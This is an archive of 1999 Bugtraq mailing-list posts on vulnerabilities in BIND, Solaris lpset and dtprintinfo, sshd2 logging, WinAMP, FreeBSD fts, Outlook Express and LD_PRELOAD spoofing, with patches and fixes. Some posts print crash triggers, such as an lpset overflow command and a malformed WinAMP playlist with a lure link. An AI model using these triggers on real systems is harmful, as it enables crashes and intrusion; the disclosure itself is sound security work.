Dear Mark,
markaisc.org wrote Thu May 13 10:12:49 1999:
>	
>	The message you cite was replied to with a question (by
>	Jeff Schreiber) for which no reply was received asking were there
>	any errors logged / or did he restart the server.
I saw that. I thought the implication was that this was clearly something
occuring only at that one site, and I guess the writer thought that too
and found some workround. Or maybe he found what I did (below) and
didn't want to own up.

>	Can you please send me a cut down configuration (named.conf +
>	zonefiles) so I can see what you are attempting to do.
Here is the full named.conf and zone files for HDF.COM.PL and OOPS!
OK found it while I am writing this. /usr/sbin/named is old, so it
is reading from /etc/named.boot. All the other files are new, so I
guess that I unpacked while named was running and carried right
on with other things without spoting there had been an error updating
that file. My appoligies to ISC, and everyone else I have slured and
lead astray.
Yours
Ian

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: LD_PRELOAD potential problems

LD_PRELOAD potential problems

David F. Skoll (dfsDOE.CARLETON.CA)
Tue, 11 May 1999 21:51:40 -0400

Many UNIX systems allow you to "pre-load" shared libraries by setting
an environment variable LD_PRELOAD.  This allows you to do interesting
things like replace standard C library functions or even the C
interfaces to system calls with your own functions.

I recently ran across a piece of software which depended upon knowing
the time reasonably accurately.  By replacing the time(2) UNIX system
call with my own function, I was able to fool the program and get it
to misbehave, without the inconvenience of actually changing the system
time or even requiring root privileges.

If you are writing programs which depend on C library functions or
UNIX system calls for secure operation, please distribute only
statically-linked versions, as the effort to fool statically-linked
binaries is a lot higher than a simple LD_PRELOAD spoof.

--
David F. Skoll
http://www.roaringpenguin.com

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: [BIND-BUGS #18] Non-delegated master domains

Re: [BIND-BUGS #18] Non-delegated master domains

Andrew Brown (atatatatatdot.net)
Tue, 11 May 1999 21:11:13 -0400

>...
>>The bug is that domains which have valid delegations within the DNS
>>system can not be overriden with local master files. IE. If I make
>>a master file for microsoft.com, www.microsoft.com remains with the
>>IP microsoft give it and not what I give it. Domains which are
>>delegated to me eg EMIT.PL. a or domains which have no delegation
>>anywhere eg. EMIT. work as expected.

i'm using 8.2 and it seems to work as expected for me.  my test:

   # ping www.foo.org
   PING latte.foo.org (24.239.1.12): 56 data bytes
   64 bytes from 24.239.1.12: icmp_seq=0 ttl=53 time=242.237 ms
   ^C
   ----latte.foo.org PING Statistics----
   1 packets transmitted, 1 packets received, 0% packet loss
   round-trip min/avg/max = 242.237/242.237/242.237 ms
   # vi /etc/named.conf
   (add foo.org zone with me as master)
   # ndc reload
   # ping www.foo.org
   ping: Cannot resolve "www.foo.org" (Unknown host)
   # vi /etc/named.conf
   (remove foo.org zone)
   # ndc reload
   # ping www.foo.org
   PING latte.foo.org (24.239.1.12): 56 data bytes
   64 bytes from 24.239.1.12: icmp_seq=0 ttl=53 time=242.237 ms
   ^C
   ----latte.foo.org PING Statistics----
   1 packets transmitted, 1 packets received, 0% packet loss
   round-trip min/avg/max = 242.237/242.237/242.237 ms
   #

no problem there.  can you reproduce this reliably?

--
|-----< "CODE WARRIOR" >-----|
codewarriordaemon.org             * "ah!  i see you have the internet
twofsonetgraffiti.com (Andrew Brown)                that goes *ping*!"
andrewcrossbar.com       * "information is power -- share the wealth."

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: SunOS 5.6 (X86) lpset vulnerability

Re: SunOS 5.6 (X86) lpset vulnerability

Craig Johnston (cajLFN.ORG)
Tue, 11 May 1999 22:39:25 -0500

On Tue, 11 May 1999, kim yong-jun homepage=ce.hannam.ac.kr/~s96192 wrote:

> This is my second post to ButTraq.
> If  this is old, I'm sorry.
>
>
> It's buffer overflow in "/usr/bin/lpset".
>
> View this command :
> [loveyou/] % /usr/bin/lpset -a key=`perl  -e 'print "x" x 1006'` loveyou
>
> [loveyou/] % /usr/bin/lpset -a key=`perl  -e 'print "x" x 1007'` loveyou
> Segmentation fault

On my Solaris 2.6 and 2.7 systems, unless you are already uid 0 or
are gid 14 lpset bombs before it can dump core, with "Permission
denied: not in group 14."

It dumps core as root.

So apparently this will only get one a gid 14 -> uid 0 upgrade.

I found on my Solaris systems I had already stripped the setuid bit
because we don't use the program and Sun does a truly pathetic job of
rooting the buffer overflows out of their setuid code.

With the number of units of Solaris that are sold, every setuid/setgid
binary on the system should have been audited for overflows.  It's
really pathetic that we are still seeing them.

It's especially cute when Sun ships a new version with holes for which
patches were available for the previous version.  (see 'ufsrestore')

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: - J.J.F. / Hackers Team warns for SSHD 2.x brute force password

- J.J.F. / Hackers Team warns for SSHD 2.x brute force password

Patrick Oonk (patrickpine.nl)
Thu, 13 May 1999 19:54:56 +0200

Found this at http://www.jjf.org/advisory/SshdJJFen.txt

	- J.J.F. / Hackers Team - Security Advisory
        =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  Date: 05/09/1999
  Release: 05/14/1999
  Author: Zhodiac <zhodiacjjf.org>
  URL: http://www.jjf.org
  Application: sshd2 up to 2.0.11
  OS: Unix
  Risk: Risky :), long term could gain system access.

  -=-=-=-=-=-=-=-=
   Introduction
  -=-=-=-=-=-=-=-=

	In the default instalation of sshd2 (up to 2.0.11) there is an
  open way to bruteforce a login/password, without any kind of ip
logging
  by the sshd. Version 2.0.12 and newers seems to be not vulnerable to
  this attack, because it logs the ip at connection time.

  -=-=-=-=-=-=-=-=
   Details
  -=-=-=-=-=-=-=-=

	When a ssh client connects to the daemon, it has a number
  (default is three) of attempts to guess the correct password before
  disconnecting. If we shutdown the connection before using up the
number
  of attempts, the daemon will not log neither the connection, the
  password guesses nor the ip of the client.

	One cristal clear example:

  [zhodiacpiscis zhodiac]$ ssh -l zhodiac piscis
  zhodiac's password:
  zhodiac's password:
  zhodiac's password:

  Disconnected; authentication error.
  [zhodiacpiscis zhodiac]$

  In /var/log/messages:

     May  9 12:42:53 piscis sshd2[1391]: User authentication failed:
     'Authentication method disabled. (user 'zhodiac', client address
     '192.168.1.1:1344', requested service 'ssh-connection')'
	
	Now we try the bug:

  [zhodiacpiscis zhodiac]$ ssh -l zhodiac piscis
  zhodiac's password:
  zhodiac's password:
  zhodiac's password: FATAL: Received signal 2.
  [zhodiacpiscis zhodiac]$ ssh -l zhodiac piscis
  zhodiac's password:
  zhodiac's password:
  zhodiac's password: FATAL: Received signal 2.
  [zhodiacpiscis zhodiac]$ ssh -l zhodiac piscis
  zhodiac's password:
  zhodiac's password:
  zhodiac's password: FATAL: Received signal 2.
  [zhodiacpiscis zhodiac]$

	Those  "FATAL: Received signal2." are the response of
  interrupting the program with a ^C.

	Lets see what syslog did:

  May  9 12:44:41 piscis sshd2[1403]: Remote host disconnected:
Connection
  closed.
  May  9 12:44:44 piscis sshd2[1405]: Remote host disconnected:
Connection
  closed.
  May  9 12:44:47 piscis sshd2[1407]: Remote host disconnected:
Connection
  closed.

	No ip, no password guesses attempts on the logs!
  So a bruteforce can be done without any kind of logging... Sorry
  script-kiddies, no program available!

  -=-=-=-=-=-=-=-=
   Quick Fix
  -=-=-=-=-=-=-=-=

	Edit the file sshd2_config (usually at /etc/ssh2), set the value
  of "PasswordGuesses" to 1. With this each time a password is tried it
  will log it in the following way:

	 May  9 12:46:07 piscis sshd[1308]: User authentication failed:
  'Authentication method disabled. (user 'zhodiac', client address
  '192.168.1.1:1527', requested service 'ssh-connection')'

	 It is also recommended to set the value of "ListenAddress" so we
  will have more control of which ips can use our ssh service.

	A better solution is to upgrade to 2.0.12 version or newer , with
  them at connection it will log via syslog in the following way:

     May  9 15:23:33 piscis sshd2[7184]: connection from "192.168.1.1"

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  zhodiacjjf.org

  http://www.jjf.org
  - J.J.F. / Hackers Team - Security Advisory
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

--
 Patrick Oonk - PO1-6BONE - patrickpine.nl - www.pine.nl/~patrick
 Pine Internet B.V.           Consultancy, installatie en beheer
 Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/
 -- Pine Security Digest - http://security.pine.nl/ (Dutch) ----
 Excuse of the day: Feature was not beta tested

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Windump for Windows

Re: Windump for Windows

Brett Glass (brettLARIAT.ORG)
Wed, 12 May 1999 13:15:51 -0600

How do we know that this is not a remote sniffer? There's
no source, so it's hard to tell without ANOTHER sniffer.

--Brett Glass

At 01:28 PM 5/11/99 -0700, Edward Gibbs wrote:
>FYI...
>
>TCPdump is a network capture program developed by Network Research Group
>(NRG) of the Information and Computing Sciences Division (ICSD) at Lawrence
>Berkeley National Laboratory (LBNL) in Berkeley, California.
>
>Originally available only on UNIX platform, this is the porting on Windows
>(95/98, NT 4.0). It consists in an executable (the windump main program)
>with a network capture driver: both are specific for each platform.
>
>To download and install WinDump see:
>
>http://netgroup-serv.polito.it/tools/analyzer/Install/windump/
>
>Edward Gibbs, ediprg.nokia.com
>Systems Engineer, Security Specialist
>Nokia IP - http://www.iprg.nokia.com/
>232 Java Drive, Sunnyvale, CA 94089 USA
>Direct: 1-408-990-2187
>Cellular: 1-408-504-4276
>Fax: 1-408-743-5675
>
>perl -e 'print $i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);'

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Buffer overflow in WinAMP 2.x

Buffer overflow in WinAMP 2.x

Wojtek Kaniewski (wojtekkaBYDNET.COM.PL)
Wed, 12 May 1999 13:02:43 +0200

Introduction
------------
WinAMP is a popular Windows sound player with support for many file
formats (MP3, wave files, modules). It also supports MP3 streaming
(let's call it sh0utcast).

Description of the problem
--------------------------
If we tell WinAMP to open file location (Ctrl+L) which is over 256
bytes long, it'll produce nice GPF. The bug also appears when loading
playlists (.m3u and .pls)

What can we do with this bug?
-----------------------------
Many sh0utcast radios place .pls files on their websites, which contain
URL for radio's sh0utcast server.

If we'll make b00m.pls file like this...

  [playlist]
  NumberOfEntries=1
  File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (about 256 A's)

and put such link...

  <A HREF="b00m.pls">Techno explosion -- The Coolest MP3 Radio</A>

on our website, we can make couple of WinAMPs crash. I suppose, that
there's a possibility to put our own code in the filename (see cDc-351
for details).

Nullsoft (producer of WinAMP) has been noticed about the bug two
versions ago.

--
wojtekkairc.pl :: http://wojtekka.stone.pl/ :: ^wojtekkaircnet

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: fts, du, find

fts, du, find

Stas Kisel (stasSONET.CRIMEA.UA)
Wed, 12 May 1999 14:32:42 +0400

Hi.

I use FreeBSD-2.2.8 and FreeBSD-2.2.7 and I know that these versions are
no longer supported, but:
1. There are many people still using 2.2
2. This bug probably applies to FreeBSD-3.1 and ever to OpenBSD and other.

Approximately a month ago I've found a very strange behaviour of 'du'
with long direstory structures. I left this alone due to lack of time,
but some days ago I saw an article on bugtraq concerning similar
behaviour of 'find'.

There is a one bug in libc causing this behaviour. I have a patch, but
I did not tested it much ;)

Both 'find' and 'du' use 'fts' (fts_read,...) functions to traverse
directory structure.
fts uses realloc() to reallocate memory in quite complex lists.
There is a bug in adjusting pointers after realloc().
So when dealing with large directory structures (when realloc() needed),
some pointers can point to free()-ed memory.

I have no exploit and probably will no have a free time (I think
3 days is more than enough) for doing it, but I beleive it is
possible to exploit this bug using carefully designed directory
tree to execute arbitrary commands as root during
/etc/daily->/etc/security->find.
REMOTE ROOT EXPLOIT (POSSIBLE).
At least it is possible to hide setuid binary this way in home dir or in /tmp.

The following patch is designed for FreeBSD-2.2.8-RELEASE libc.
There was the following ID in the beginning of the source file.
/*      $OpenBSD: fts.c,v 1.9 1997/08/02 00:13:49 millert Exp $ */
I've only tested this patch on one machine during one day, so
it is probably buggy.
If you'll apply this patch, please drop me a line if there was any side effect
and I'll do a followup in the bugtraq, say, on the Friday.

------------------ patch ----------------------------------------
--- /usr/src/lib/libc/gen/fts.c.orig	Tue May 11 13:37:49 1999
+++ /usr/src/lib/libc/gen/fts.c	Wed May 12 13:16:08 1999
 -740,8 +740,26 
 	 * If had to realloc the path, adjust the addresses for the rest
 	 * of the tree.
 	 */
-	if (adjaddr)
+	if (adjaddr){
 		fts_padjust(sp, adjaddr);
+		/* Adjust the list, because we want to return it robust. */
+/* fix p->fts_path and p->fts_accpath
+   p->fts_accpath can be:
+	either cur->fts_path	(adjust, because cur is already adjusted)
+	either p->fts_path	(adjust)
+	either p->fts_name	(do not adjust)
+   I'm also almost sure that in first case cur->fts_path=p->fts_path...
+*/
+#define	ADJUST1(p) if((p)->fts_path != adjaddr){	\
+	if((p)->fts_accpath != (p)->fts_name){		\
+		(p)->fts_accpath =			\
+			(char *)adjaddr + ((p)->fts_accpath - (p)->fts_path);\
+	}						\
+	(p)->fts_path = adjaddr;			\
+}
+		for (p = head; p; p = p->fts_link)
+			ADJUST1(p);
+	}

 	/*
 	 * If not changing directories, reset the path back to original
 -974,18 +992,18 
 {
 	FTSENT *p;

-#define	ADJUST(p) {							\
+#define	ADJUST2(p) {							\
 	(p)->fts_accpath =						\
 	    (char *)addr + ((p)->fts_accpath - (p)->fts_path);		\
 	(p)->fts_path = addr;						\
 }
 	/* Adjust the current set of children. */
 	for (p = sp->fts_child; p; p = p->fts_link)
-		ADJUST(p);
+		ADJUST2(p);

 	/* Adjust the rest of the tree. */
 	for (p = sp->fts_cur; p->fts_level >= FTS_ROOTLEVEL;) {
-		ADJUST(p);
+		ADJUST2(p);
 		p = p->fts_link ? p->fts_link : p->fts_parent;
 	}
 }
------------------ endpatch ----------------------------------------

--
Stas Kisel
Open Tavrical College		Sysadmin	stassonet.crimea.ua
Simferopol State University	Web-designer	stasccssu.crimea.ua

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: [BIND-BUGS #18] Non-delegated master domains

Re: [BIND-BUGS #18] Non-delegated master domains

Dan Busarow (danDPCSYS.COM)
Tue, 11 May 1999 18:59:44 -0700

On Mon, 10 May 1999, Ian Carr-de Avelon wrote:
> Dear Aleph,
> 	I'll leave it to your discresion as to whether this should go
> public. For me this is simply a problem relating to adding MX records
> with 192.168.xx.xx addresses to internal name servers. Some people may
> assume that if they rely on DNS data for their own domains, they are
> only relying on the intergrety of their own servers. With BIND 8 this
> appears not to be true. If somone can change the delegation of a domain,
> or make a new domain like EMIT. or 168.192.IN-ADDR.ARPA., bind 8 will
> accept the data pointed to via route servers etc. in place of local
> master files.

Unless I'm missing your point, bind 8.2 does not exhibit this behaviour.
Your own master zones are accepted.  Tested with bind 8.2 and "fake"
master zones for test.com and 1.192.168.in-addr.arpa.

capistrano.beach.net # what /usr/sbin/named | grep named
/usr/sbin/named:
        named 8.2 Tue Mar 23 11:23:34 PST 1999 dancapistrano.beach.net:/usr/home/dan/bind8.2/src/bin/named

capistrano.beach.net # nslookup www.test.com
Server:  ns.beach.net
Address:  206.16.184.129

Name:    www.test.com
Address:  192.168.1.1

capistrano.beach.net # nslookup 192.168.1.1
Server:  ns.beach.net
Address:  206.16.184.129

Name:    www.test.com
Address:  192.168.1.1


www.test.com is, in reality, 207.206.9.99
Apologies to Test.com, Inc., I've given you your zone back :)

Now, if you have a zone like (note only two octets, 192.168)

zone "168.192.in-addr.arpa" {
    type master;
    file "db.192.168";
};

It's not going to be used to directly look up 192.168.1.1
192.168.1.1 is in the zone 1.168.192.in-addr.arpa so your lookups
will fail, but it's not due to a bug in bind.

Dan
--
 Dan Busarow                                                  949 443 4172
 Dana Point Communications, Inc.                            dandpcsys.com
 Dana Point, California  83 09 EF 59 E0 11 89 B4   8D 09 DB FD E1 DD 0C 82

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Outlook Express Win98 bug, addition.

Outlook Express Win98 bug, addition.

Miquel van Smoorenburg (miquelsCISTRON.NL)
Wed, 12 May 1999 10:59:46 +0200

In article <cistron.7h8rg1$eos$1Q.cistron.nl>,
Miquel van Smoorenburg  <miquelsCISTRON.NL> wrote:
>There is a bug in Outlook Express delivered with Windows '98, at least
>version 4.72.3110.1 (4.01 SP1) and 4.72.3120.0 (4.01 SP1 + oepatsp1)
[...]
>Outlook
>Express will interpret the double-dot as a single dot, switching back to
>POP3 command mode and interpreting the rest of the message as a response
>from the POP3 server. Result is an error message and usually a hanging
>POP3 session.

It occured to me that it might not be clear from the original message
but because the POP3 session is hanging, the message will not be removed
from the server and the next time mail is check the same thing will
occur. This is an effective DOS attack against the mailbox.

The only way to solve this is to remove the message with another
POP3 email program (Eudora, Pegasus) or to ask the sysadmin of the POP3
server to remove the message manually (look for a message that has a line
starting with a dot).

Upgrading to MSIE 5.0 will also solve the problem, but there is no
simple/small bugfix from Microsoft available (an MSIE 5.0 download is
what - 20 MB at least?) yet for as far as I know.

So, ISP helpdesks - take note. This is at least one of the causes of
the problems all these people have been having with their "blocked mail".

Mike.
--
Indifference will certainly be the downfall of mankind, but who cares?

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Solaris2.6,2.7 dtprintinfo exploits

Re: Solaris2.6,2.7 dtprintinfo exploits

Darren J Moffat - Enterprise Services OS Product Support Group (darren.moffatuk.sun.com)
Fri, 14 May 1999 15:03:42 +0100

>"dtprintinfo" is suid program, the stack buffer can be overflowed by '-p'
>option. I made an exploit program that can get root for Intel edition of
>Solaris2.6 and Solaris 2.7.
>Please test it.
>If you test this program, please set DISPLAY environment correctly
>before execution.


This is Sun Bug# 4139394 which has been fixed in the current development
release.  Patches for Solaris 2.6 and Solaris 7 (ie CDE 1.2 and CDE 1.3)
are currently in development.

As an aside there is no indication in any of our databases that you
made any attempt to contact Sun before publishing this publicly, please
give us a chance first.

Thanks

--
Darren J Moffat

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Clarification: LD_PRELOAD issue

Clarification: LD_PRELOAD issue

David F. Skoll (dfsDOE.CARLETON.CA)
Fri, 14 May 1999 09:17:25 -0400

Hi,

I feel I need to provide more context for the LD_PRELOAD issue.  Yes,
I'm well aware that set[ug]id programs ignore LD_PRELOAD and the other
LD_* environment variables.

The context is a software license manager.  A commercial software
organization wants to protect its software with a license manager
which relies on accurate time information.  Any user of the system,
including root, must be viewed as a potential cracker.  This is not your
usual security issue.

Now, any license manager can be spoofed, from as blunt an attack as
changing the system time to sophisticated reverse-engineering attacks
on the license manager binary.  The issue is to prevent "cheap"
attacks -- if attacking the license manager is expensive enough,
people won't bother (or they'll find other avenues of attack. :-))

Changing the system time introduces all kinds of problems, so most
potential license abusers won't do it.  A two-line shell script with a
6-line C program is a very cheap attack on a dynamically-linked
license manager daemon.  Attacking a statically-linked license manager
binary is quite a bit more expensive, and should greatly reduce the
incentive for an attack.

--
David F. Skoll

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Clarification: LD_PRELOAD issue

Re: Clarification: LD_PRELOAD issue

Casper Dik (casperHOLLAND.SUN.COM)
Fri, 14 May 1999 17:55:53 +0200

>Changing the system time introduces all kinds of problems, so most
>potential license abusers won't do it.  A two-line shell script with a
>6-line C program is a very cheap attack on a dynamically-linked
>license manager daemon.  Attacking a statically-linked license manager
>binary is quite a bit more expensive, and should greatly reduce the
>incentive for an attack.


License managers really only protect you again honest customers
using more (cconcurrent copies of) software than they paid for.

In that context, tamper proofing is perhaps ill advised because of both
the drawbacks and the ease of circumventing them:

	- statically linked binaries require you to release a new
	  version of your product each OS release, if you're unlucky.
	  I've seen statically linked license daemons break going
	  from Solaris 2.5.1 to 2.6 (-lsocket)
	  Solaris 2.3 or 2.4 changed the way gettimeofday() worked, so
	  statically linking that also broke.

	- in some cases (flexlm), you need to statically link both the
	  licensemanager and all products using it.


And the 3rd point:

	it's really not much more difficult to write an LD_PRELOAD than
	it is to write a program that uses /proc or ptrace() on
	system calls and substitutes return values of its liking.

	(I've done that for hostids on SunOS 4.x)


Statically linking raises the bar only a little; the maintenance costs,
however, may soar and customer satisfaction may very well decline.
(What do you mean, I need a different version of your product for
each of the four Solaris releases I'm currently using?  Can I have
a version with libc bug X fixed?)

Casper

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: LD_PRELOAD potential problems

Re: LD_PRELOAD potential problems

James Lockwood (jamesVANEYCK.GII.GETTY.EDU)
Thu, 13 May 1999 15:47:31 -0700

On Tue, 11 May 1999, David F. Skoll wrote:

> I recently ran across a piece of software which depended upon knowing
> the time reasonably accurately.  By replacing the time(2) UNIX system
> call with my own function, I was able to fool the program and get it
> to misbehave, without the inconvenience of actually changing the system
> time or even requiring root privileges.
>
> If you are writing programs which depend on C library functions or
> UNIX system calls for secure operation, please distribute only
> statically-linked versions, as the effort to fool statically-linked
> binaries is a lot higher than a simple LD_PRELOAD spoof.

I would hardly call 30 seconds with adb or gdb "a lot higher".  Static
linking is bad for many reasons, one of the chief being that if bugs are
found in the libraries you are using there is no way to fix the
executable.  Static linking also wastes memory, and many Unices are
starting to deprecate static linking of system libraries (Solaris is a
good example).

If you must have your program run in an unaltered state, then ask that it
be installed setuid nobody (for example) and have it drop uid/gid privs in
the first two lines of code.  LD_PRELOAD (and LD_LIBRARY_PATH, for that
matter) are not honored on setuid executables.

If you are distributing time-limited crippleware, then nothing will help
you.  Those who want to bypass it will, but most will not.  There is no
way around this, as long as the user is downloading and executing your
code under her control she will be able to modify it.

Normally I wouldn't consider this a worthwhile discussion for BUGTRAQ, but
I think that the point must be made that static linking prevents library
fixes from being propagated to compiled applications.  When a library bug
exists that can endanger system security, statically linked applications
become a significant problem.  Systems with many statically linked
applications are more difficult to keep up to date security and
stability-wise than other systems.

--
James D. Lockwood                    The (former) Getty Information Institute
System Administrator                       1200 Getty Center Drive, Suite 300
jamesgii.getty.edu                                Los Angeles, CA 90049-1680

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: LD_PRELOAD potential problems

Re: LD_PRELOAD potential problems

Phillip Vandry (vandryMLINK.NET)
Fri, 14 May 1999 11:58:34 -0400

You should note of course that LD_PRELOAD will not work for any setuid
or setgid binary. Users thus cannot do anything they wouldn't have been
able to do otherwise by modifying code or compiling their own using this
trick.

I agree that LD_PRELOAD is very easy to use, but vendors shipping
statically linked binaries is a big inconvenience, and I don't believe
they should do it on account of the LD_PRELOAD hack. It's just not
worth it.

Here are some of the disadvantages of a statically linked binary:

- It's big on disk. Not only that but if there are multiple binaries that
share code (and what two binaries don't share at least code from libc?),
the size of this code is multiplied by the number of binaries.
- It's big in memory. Same argument, but this time regarding code that it
duplicated in memory (shared libraries are mapped only once)
- It's compatible with only one version of the operating system. (libc's
kernel interfaces are always free to change)
- The binary won't benefit from bugfixes in the vendor's system libraries.
- In many cases, it may not even be possible. For example, in Solaris,
using the name service switch REQUIRES a dynamically linked binary, and
keep in mind that you need the name service switch for all getXXXbyYYY()
functions.

In fact, it's not hard using gdb and breakpoints to override any desired
function in statically linked binaries too. (Harder if it's stripped,
admitedly).

If you must, extract those functions which you consider critical from
libc.a, and link those into the main binary (or even use syscall()
directly, but please link your stuff dynamically!

I assume that in your original message you are referring to an example of
using time() for a task such as forcing a demo copy of software to
expire (and overriding time() to fool the scheme). Similar situations
occur with binaries that check a machine's hostid or IP address to
verify license to use it.

In all these cases, if you are writing software that does this, and you
want to protect yourself from people bypassing your tests, you definately
need to contort your code a bit. If there's a function called
check_license() and a user can overwrite the beginning of this function
with code for "return 0" and that totally bypasses all your checks, then
you got fooled pretty easily. I suggest the following:

- Check this inside main() or some other big long function to discourage
disassembly/decompilation.
- Arrange that it is not possible to bypass your checks by nopping out a
single function/function call
- Don't print a message immediately after you do the checks. The user will
be able to set a breakpoint at the place where you print your message
(since you ultimately have to make a system call to print text) and know
pretty much what section of your code is making the checks.

Tangeant: On Solaris, you can override the system call of your choice
by making a kernel module that goes in the kernel/sys subdirectory. I
do not have documentation as to how that's done, but this method of
overriding a system call is virtually undetectable by user level
software. On OSes where you have source, of course, you're free to
modify system calls with even more ease!

-Phil

> Many UNIX systems allow you to "pre-load" shared libraries by setting
> an environment variable LD_PRELOAD.  This allows you to do interesting
> things like replace standard C library functions or even the C
> interfaces to system calls with your own functions.
>
> I recently ran across a piece of software which depended upon knowing
> the time reasonably accurately.  By replacing the time(2) UNIX system
> call with my own function, I was able to fool the program and get it
> to misbehave, without the inconvenience of actually changing the system
> time or even requiring root privileges.
>
> If you are writing programs which depend on C library functions or
> UNIX system calls for secure operation, please distribute only
> statically-linked versions, as the effort to fool statically-linked
> binaries is a lot higher than a simple LD_PRELOAD spoof.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: LD_PRELOAD potential problems

Re: LD_PRELOAD potential problems

Kragen Sitaker (kragenPOBOX.COM)
Thu, 13 May 1999 18:52:12 -0400

David Skoll wrote:
> If you are writing programs which depend on C library functions or
> UNIX system calls for secure operation, please distribute only
> statically-linked versions, as the effort to fool statically-linked
> binaries is a lot higher than a simple LD_PRELOAD spoof.

First: the set of binaries you can set LD_PRELOAD for is the set of
binaries you can run from the command line.  Network servers that you
connect to on a box you don't have access to are not vulnerable to
LD_PRELOAD spoofing.

Second: the binaries you can run from the command line are of two
kinds, the kind that can do something you wouldn't be able to do
yourself, because they're setuid or setgid, and the kind that can't,
because they aren't.

Binaries of the first kind are not vulnerable to LD_PRELOAD on any
secure Unix system, because the kernel or dynamic linker makes sure
they aren't.  On the few poorly-thought-out Unix systems where this is
not the case, you can violate security in a much more direct way; you
can LD_PRELOAD libraries that directly do malicious things when they
are loaded, and they will be able to do them with the effective uid or
gid of the binary they are running in.  In short, on these systems,
nothing you can do short of removing LD_PRELOAD support from the
dynamic loader can give you *any* security.

Binaries of the second kind can be fooled into doing anything you want
them to, whether they are statically or dynamically linked, but that's
OK, because they can't do anything you yourself aren't permitted to
do.  (People who distribute copy-protected software may be concerned
about this statement.  People who remove copy protection for a hobby
will recognize it as obvious.)

In short: this is not a problem.

--
<kragenpobox.com>       Kragen Sitaker     <http://www.pobox.com/~kragen/>
TurboLinux is outselling NT in Japan's retail software market 10 to 1,
so I hear.
-- http://www.performancecomputing.com/opinions/unixriot/981218.shtml

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: LD_PRELOAD potential problems

Re: LD_PRELOAD potential problems

Darren J Moffat - Enterprise Services OS Product Support Group (darren.moffatuk.sun.com)
Fri, 14 May 1999 09:45:44 +0100

>Many UNIX systems allow you to "pre-load" shared libraries by setting
>an environment variable LD_PRELOAD.  This allows you to do interesting
>things like replace standard C library functions or even the C
>interfaces to system calls with your own functions.

Correct, but so does setting of some of the other LD_* variables.

Solaris has at least the following other variables that could be
used to achieve similar results:

LD_LOADFLTR
LD_AUDIT

>I recently ran across a piece of software which depended upon knowing
>the time reasonably accurately.  By replacing the time(2) UNIX system
>call with my own function, I was able to fool the program and get it
>to misbehave, without the inconvenience of actually changing the system
>time or even requiring root privileges.

Correct, but given that the process wasn't running as root all you can
do is screw up yourself.  This isn't a compromise of the system.


>From the new man page for ld.so.1:


 If an LD_LIBRARY_PATH environment variable is in effect  for
     a  secure  process, then only the trusted directories speci-
     fied by this variable will be used to  augment  the  runtime
     linker's search rules. Presently, the only trusted directory
     known  to  the  runtime  linker   is   /usr/lib/secure,   or
     /usr/lib/secure/sparcv9 for 64-bit SPARCV9 objects.

     In a secure process, any runpath specifications provided  by
     the  application  or  any  of its dependencies will be used,
     provided they are full pathnames,   that  is,  the  pathname
     starts with a '/'.

     Additional objects may be loaded with a secure process using
     the  LD_PRELOAD  environment  variable, provided the objects
     are specified as simple file names, with no '/' in the name.
     These  objects  will  be  located subject to the search path
     restrictions previously described.



What this is saying is that in Solaris (from 5.7 with the Kernel Update
106541-05 - which is not yet released) LD_PRELOAD for setuid programs
will not work unless the file is in /usr/lib/secure  which is by default
empty.


>If you are writing programs which depend on C library functions or
>UNIX system calls for secure operation, please distribute only
>statically-linked versions, as the effort to fool statically-linked
>binaries is a lot higher than a simple LD_PRELOAD spoof.

A lot of people go with this as good practice.  However there are a
number of caveats as to why static linking is not a good idea.

Issues with static linking
--------------------------

Static linking reduces the overhead when the program is started up, mainly
because relocations and other start-up activities are done at compile time.
However, static linking is generally discouraged. Here are some reasons :

* Static linking prevents libc_psr.so.1 from working for platform
  specifics. This library automatically enables dynamically linked
  programs from linking in platform specific versions of various
  library routines which are optimized for a particular platform.

* Static linking greatly increases working set size and disk footprint.

* Statically linked executables are NOT necessarily binary compatible
   between releases.
        eg. statically linked programs that use libsocket will
            failed if compiled on 2.5.1 or less and run on 2.6

* Patches to system libaries for bug fixes and performance enhancements
  are not automatically picked up by the application.

* Some debugging libraries/tools will fail to work properly.
        eg. malloc debugging.

* And most importantly you will not benifit from security or other
  fixes in the vendor provided libaries when patches are released.


When to use static linking
--------------------------

* The binary is critical to system operation when in single user-mode
  either for the startup of the OS or for disaster recovery.

* Statically linking a private (internal) libarary is okay.


Don'ts
------

* Statically link against libc
* Statically link against libdl



And finally there are no 64bit static libaries in Solaris 7 and we
will NOT be providing them in the future for 64bit.


--
Darren J Moffat

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: fts, du, find

Re: fts, du, find

Jordan Ritter (jpr5DARKRIDGE.COM)
Fri, 14 May 1999 04:33:34 -0400

On Wed, 12 May 1999, Stas Kisel wrote:

> 2. This bug probably applies to FreeBSD-3.1 and ever to OpenBSD and other.

I found this back a few months ago when working on the wu-ftp stuff..
OpenBSD definitely has the same problem.  last thing I remember thinking
was that it was dying because realloc() was failing (as the fts stuff
realloc()'s memory as the path grows) ..



Jordan Ritter
Network Security Engineer
Netect/Bindview Corp  Boston, MA

"Quis custodiet ipsos custodes?"

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Source code IS available (Was: Re: Windump for Windows)

Source code IS available (Was: Re: Windump for Windows)

Ken Williams (jkwilli2UNITY.NCSU.EDU)
